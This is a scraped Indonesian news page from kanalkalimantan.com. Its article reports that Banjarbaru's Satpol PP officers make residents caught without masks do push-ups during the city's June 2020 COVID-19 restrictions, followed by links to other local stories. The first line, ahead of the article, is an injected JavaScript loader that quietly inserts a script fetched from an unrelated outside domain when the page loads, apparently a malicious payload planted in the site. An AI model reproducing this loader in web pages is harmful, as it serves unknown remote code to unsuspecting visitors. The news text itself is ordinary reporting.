(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Tak Pakai Masker di Murjani, Satpol PP Beri Sanksi Push Up


KANALKALIMANTAN.COM, BANJARBARU – Upaya penanganan Covid-19 di Kota Banjarbaru melalui pemberlakuan Pembatasan Kegiatan Masyarakat (PKM) tinggal beberapa hari, sebelum berakhir pada 13 Juni lusa.

Sejak mulai diberlakukan pada 31 Mei lalu, PKM yang dilaksanakan selama 14 hari bertujuan untuk mendisiplinkan perilaku masyarakat agar beraktivitas mengikuti protokol kesehatan. Seperti halnya memakai masker, sosial distancing, hingga mencuci tangan.

Namun di lapangan masih ditemukan masyarakat yang tidak mengikuti imbauan yang sudah disampaikan. Terbanyak ialah masyarakat yang tidak menggunakan masker.

Kasat Pol PP Banjarbaru Marhain Rahman melalui PPNS Seksi Opsdal Yanto Hidayat mengatakan, sebenarnya mayoritas masyarakat Banjarbaru telah menaati aturan untuk memakai masker jika berada di luar rumah. Hanya saja, tidak sedikit pula masyarakat yang tidak mengindahkan protokol tersebut.

“Sebagian besar masyarakat sudah memakai masker. Tapi masih ada juga yang kita temukan tidak memakai. Alasan mereka macam-macam. Tapi, apapun itu kita harus menegur masyarakat tersebut,” katanya, Rabu (10/6/2020).

Tak hanya teguran lisan saja, petugas Satpol PP bersama Polri, TNI, dan Dinas Perhubungan (Dishub) juga tegas memberikan sanksi bagi masyarakat yang melanggar protokol kesehatan itu.

Seperti dengan hukuman push up bagi masyarakat yang tak kenakan masker saat ditemukan petugas.

Pemberian sanksi ini rupanya selalu terjadi dalam setiap harinya. Mayoritas mereka yang melanggar protokol dan suka beradu argumen dengan petugas adalah para remaja.

Pemberian sanksi fisik kepada remaja juga tidak bersifat keras. Sebab pihaknya juga melakukan pembinaan bersifat humanis kepada para remaja agar patuh pada protokol yang telah ditetapkan.

“Kita suruh push up sesuai kemampuan mereka. Kalau gak sanggup, ya tidak kita paksakan. Tentu dengan sanksi ini secara langsung tidak memberikan efek jera. Untuk itu kita lakukan pembinaan juga,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

1 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

4 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

5 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

8 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

9 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

10 jam ago

This website uses cookies.